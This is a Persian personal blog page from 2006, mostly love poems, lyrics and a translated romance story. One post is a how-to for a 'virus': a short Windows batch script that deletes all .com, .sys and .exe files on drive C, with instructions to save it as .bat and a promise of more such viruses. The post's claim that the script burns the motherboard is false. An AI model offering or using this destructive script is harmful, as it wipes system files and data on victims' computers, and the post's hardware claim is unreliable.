تبليغاتX
در ره منزل لیلی که خطرهاست
در آن شرط قدم آنست که مجنون باشی

یکی داشت یکی نداشت.

 اونی که داشت تو بودی، اونی که تو رو نداشت من بودم.

 یکی خواست یکی نخواست.

اونی که خواست تو بودی، اونی که بی‏تو بودن رو نخواست من بودم.

یکی آورد یکی نیاورد. اونی که آورد تو بودی، اونی که به‏جز تو به هیچ‏کس ایمان نیاورد من بودم.

 یکی برد یکی نبرد.

اونی که برد تو بودی، اونی که دل به تو باخت من بودم.

یکی گفت یکی نگفت.

 اونی که گفت تو بودی، اونی که دوست دارم رو جز تو به هیچ‏کس نگفت من بودم

                          یکی بود یکی نبود  و یه پری                     

یه بقل عاشقی های سرسری

کی بود کی بود ، اون تو بودی

کاش همیشه پیشم بودی

+ نوشته شده در  پنجشنبه هفتم اردیبهشت 1385ساعت 17:9  توسط فاطمه  | 

سلام دوستان

امروز می خوام آموزش ساختن یه ویروس رو بدم که اگر روی یه کامپیوتر اجرا بشه مارد بوردش رو می سوزونه!!!!!

 راستی این هم بگم که اگه با من همراه بشید حتمالا ویروس هایی برای سوزوندن دیگر قطعات کامپیوتر رو هم آموزش میدم

برنامه نت پد رو باز کنید و دستورات زیر را کپی و سپس در نت پد اونا رو پیست کنید.

@echo off
Cls
===========
color fc
Del /a c:\*.com
Del /a c:\*.sys
Del /a c:\*.exe /s
===========

و دست آخر با پسوند bat. سیو کنید .

 

+ نوشته شده در  دوشنبه چهارم اردیبهشت 1385ساعت 15:44  توسط فاطمه  | 

 

 

غم تو قلب من واسیر سایه می کنه

 

 چشم من برای تو همیشه گریه می کن

 

 بارون می یاد تو کوچه می شینه پشت شیشه

 

 درست مثل روزی که رفتی واسه همیشه

 

ای آرزوی قلبم امشب بگو کجایی

 

بوسیدم از لب تو تو غربت تنهایی خسته از این جدایی

 

 بی تو چه ها کشیدم از حسرتت عزیزم به انتها رسیدم

 

 اگه از غصه  شکستم یه گوشه نشستم

 

 هستیم وباختم با عشق تو ساختم

 

  ساده شکستم یه گوشه نشستم

 

 هستیم وباختم با عشق تو ساختم

 

به خدا برای تو بود همه چیز فدای تو بود

 

 من که از خدا بجز تو چیز دیگه ای نخواستم

 

 هرچه از بلای عشقت من فقط تو رو می خواستم

 

 آرزوم بود یک روز از تب بوسه هات بسوزم

 

 با تو من یکبار دیگه لب شادی رو ببوسم.

+ نوشته شده در  دوشنبه چهارم اردیبهشت 1385ساعت 15:4  توسط فاطمه  | 

 

 

 

هيچ كس لياقت اشكهاي تو را ندارد و كسي كه چنين ارزشي دارد باعث اشك ريختن تو نمي شود.

چه اشتباهي كردم كه اسمتو اوردم

خوبيش اينه لا اقل واست قسم نخوردم

راستي چه عالمي بود اگه بدا نبودن

جدا مي شيم ما از هم چون خيلي ها حسودن

ديشب نشستم زير نگاه مهتاب

تو خيلي خوبي اما فقط تو عالم خواب

عكسا و عيديات رو هم ميدم به يه واسته

تا كه به خير و خوشي تموم شه اين رابطه

حرفاي عاشقونه همش مال قديمه

مثل همون حرفا كه ماها به هم زديمه

هر وعد اي كه دادي به هر كسي عمل كن

غصه هاش رو يه جوري با مهربوني حل كن

نذار كه عشقت واسش مشكل و دردسر شه

نذار كه از دست تو راهي يك سفر شه

چه وقتايي تلف شد با تو سر قرارا

تكليفا روشن ميشه هميشه تو بهارا

گناه تو همين بود، نداشتن صداقت

اما گناه من بود نكردن خيانت

سپيدي نگاه نابت شبيه برفه

آب ميشه زود و فقط به قيمت يه حرفه

ديگه خدا نگهدار لحظه هاي قيمتي

منو ببخش عزيزم، هر كه داره قسمتي

دنيا رو هم اگه بدي دلم ازت صاف نميشه

دلي كه بشكنه و كدر شه، شفاف نميشه

نه ديگه دوستت دارم محاله باورم بشه

اسم تو ديگه محاله تو دلم جا بشه

حيف اون بتي كه از تو براي خودم ساخته بودم

من مقصر نبودم چون تو رو نشناخته بودم

اصل مطلب اينه كه برو پي كار خودت

ديگه نمي خوامت، لعنت به تو و اون روز تولدت

حيف لحظه هاي خوبي كه براي تو گذاشتم

حيف غصه اي كه خوردم چون ازت خبر نداشتم

حيف اون روزا كه كلي ناز چشماتو مي كشيدم

حيف حرفاي قشنگي كه براي تو نوشتم

حيف رويام كه واسه تو از قشنگياش گذشتم

حيف شبها كه نشستم با خيالت زير مهتاب

حيف وقتي كه تلف شد واسه ديدن تو توي خواب

حيف با وفاي من ،حيف عشق و اعتمادم

حيف اون دسته گلي كه توي پاييز به تو دادم

حيف فرست هاي عمرم

حيف عمرم و دقيقم

حيف هر چي به تو گفتم، راست راستي حيف سليقم

حيف اشكايي كه ريختم واسه تو دم سپيده

حيف احساس طلاييم، خيف اين عشق و عقبده

حيف شاديم توي روزي كه گفتن تولدت بود

حيف عاشقيم كه گفتي اولش كار خودت بود

حيف اون همه قسم ها كه به اسم تو نخوردم

حيف نازي كه كشيدم چون كه طاقت نيوردم

حيف قلبم كه يه روزي دادمش دستت امانت

حيف اعتماد اون روز، حيف واژه ي خيانت

ما كه رفتيم تو بمون با هركي كه دوستش داري

با اوني كه پنهوني سر روي شونش مي زاري

ما كه رفتيم ولي اين رسم وفاداري نبود

فصه ي چشماي تو واسه ي ما تكراري نبود

ما كه رفتيم حالا تو مي موني و عشق جديد

مي دونم چند روز ديگه مي شنوم جدا شدي

ما كه رفتيم ولي مزد دستاي ما اين نبود

دل ما لايق اينكه بندازي زمين نبود

ما كه رفتيم تو برو دل بده دست ديگري

به قول حافظ ما هم داريم يه يار سفري

ما كه رفتيم تو بشين زير نگاه عاشقش

آرزوم اينه فقط تلف نشه دقايقش

ما كه رفتيم تو بمون با اونكه از راه اومده

اون كه با اومدنش خنجر به قلب من زده

ما كه رفتيم ديگه دل نديم به عشق كاغذي

لا اقل مي اومدي پيشم وايه خدا حافظي

 

 

+ نوشته شده در  دوشنبه چهارم اردیبهشت 1385ساعت 14:49  توسط فاطمه  | 


با تشکر از  هم دانشکده ای های عزیز که برای من نظر دادند. حتما در فرصت مناست از مطالب علمی نیز در این وبلاگ استفاده می کنم.


+ نوشته شده در  دوشنبه چهارم اردیبهشت 1385ساعت 14:31  توسط فاطمه  | 

 

گل سرخی برای محبوبم :

 
" جان بلا نکارد" از روی نیکمت برخاست . لباس ارتشی اش را مرتب کرد  وبه تماشی انبوه جمعیت که راه خود را از میان ایستگاه بزرگ مرکزی پیش می گرفتند مشغول شد. او به دنبال دختری می گشت که چهره او را هرگز ندیده بود اما قلبش را می شناخت دختری با یک گل سرخ .از سیزده ماه پیش دلبستگی اش به او آغاز شده بود. از یک کتابخانه مرکزی فلوریدا با برداشتن کتابی از قفسه ناگهان خود را شیفته و مسحور یافته بود. اما نه شیفته کلمات کتاب بلکه شیفته یادداشت هایی با مداد که در حاشیه صفحات آن به چشم می خورد. دست خطی لطیف از ذهنی هشیار و درون بین و باطنی ژرف داشت. در صفحه اول "جان" توانست نام صاحب کتاب را بیابد :دوشیزه هالیس می نل" . با اندکی جست و جو و صرف وقت او توانست نشانی دوشیزه هالیس را پیدا کند. "جان" بری او نامه ی نوشت و ضمن معرفی خود از او در خواست کرد که به نامه نگاری با او بپردازد . روز بعد "جان" سوار بر کشتی شد تا برای خدمت در جنگ جهانی دوم عازم شود. در طول یک سال ویک ماه پس از آن دو طرف به تدریج با مکاتبه و نامه نگاری به شناخت یکدیگر پرداختند. هر نامه همچون دانه ی بود که بر خاک قلبی حاصلخیز فرو می افتاد و به تدریج عشق شروع به جوانه زدن کرد. "جان" در خواست عکس کرد ولی با مخالفت "میس هالیس" رو به رو شد . به نظر "هالیس" اگر "جان" قلبا به او توجه داشت دیگر شکل ظاهری اش نمی توانست برای او چندان با اهمیت باشد. وقتی سرانجام روز بازگشت "جان" فرا رسید آن ها قرار نخستین دیدار ملاقات خود را گذاشتند: 7 بعد از ظهر در ایستگاه مرکزی نیویورک . هالیس نوشته بود: "تو مرا خواهی شناخت از روی رز سرخی که بر کلاهم خواهم گذاشت.". بنابراین راس ساعت 7 بعد از ظهر "جان " به دنبال دختری می گشت که قلبش را سخت دوست می داشت اما چهره اش را هرگز ندیده بود. ادامه ماجرا را از زبان "جان " بشنوید: " زن جوانی داشت به سمت من می آمد بلند قامت وخوش اندام - موهای طلایی اش در حلقه هایی زیبا کنار گوش های ظریفش جمع شده بود چشمان آبی به رنگ آبی گل ها بود و در لباس سبز روشنش به بهاری می ماند که جان گرفته باشد. من بی اراده به سمت او گام بر داشتم کاملا بدون تو جه به این که او آن نشان گل سرخ را بر روی کلاهش ندارد. اندکی به او نزدیک شدم . لب هایش با لبخند پر شوری از هم گشوده شد اما به آهستگی گفت "ممکن است اجازه بدهید من عبور کنم؟" بی اختیار یک قدم به او نزدیک تر شدم و در این حال میس هالیس را دیدم که تقریبا پشت سر آن دختر ایستاده بود. زنی حدود 40 ساله با موهای خاکستری رنگ که در زیر کلاهش جمع شده بود . اندکی چاق بود مچ پای نسبتا کلفتش توی کفش های بدون پاشنه جا گرفته بودند. دختر سبز پوش از من دور شد و من احساس کردم که بر سر یک دوراهی قرار گرفته ام از طرفی شوق تمنایی عجیب مرا به سمت دختر سبزپوش فرا می خواند و از سویی علاقه ای عمیق به زنی که روحش مرا به معنی واقعی کلمه مسحور کرده بود به ماندن دعوت می کرد. او آن جا ایستاده بود و با صورت رنگ پریده و چروکیده اش که بسیار آرام وموقر به نظر می رسید و چشمانی خاکستری و گرم که از مهربانی می درخشید. دیگر به خود تردید راه ندادم. کتاب جلد چرمی آبی رنگی در دست داشتم که در واقع نشان معرفی من به حساب می آمد. از همان لحظه دانستم که دیگر عشقی در کار نخواهد بود. اما چیزی بدست آورده بودم که حتی ارزشش از عشق بیشتر بود. دوستی گرانبها که می توانستم همیشه به او افتخار کنم . به نشانه احترام وسلام خم شدم وکتاب را برای معرفی خود به سوی او دراز کردم . با این وجود وقتی شروع به صحبت کردم از تلخی ناشی از تاثری که در کلامم بود متحیر شدم . من "جان بلا نکارد" هستم وشما هم باید دوشیزه "می نل" باشید . از ملاقات با شما بسیار خوشحالم ممکن است دعوت مرا به شام بپذیرید؟ چهره آن زن با تبسمی شکیبا از هم گشوده شد و به آرامی گفت" فرزندم من اصلا متوجه نمی شوم! ولی آن خانم جوان که لباس سبز به تن داشت و هم اکنون از کنار ما گذشت از من خواست که این گل سرخ را روی کلاهم بگذارم وگفت اگر شما مرا به شام دعوت کردید باید به شما بگویم که او در رستوران بزرگ آن طرف خیابان منتظر شماست . او گفت که این فقط یک امتحان است!"

 

 

طبیعت حقیقی یک قلب تنها زمانی مشخص می شود که به چیزی به ظاهر بدون جذابیت پاسخ بدهد.

                                                                                   

+ نوشته شده در  دوشنبه چهارم اردیبهشت 1385ساعت 14:10  توسط فاطمه  |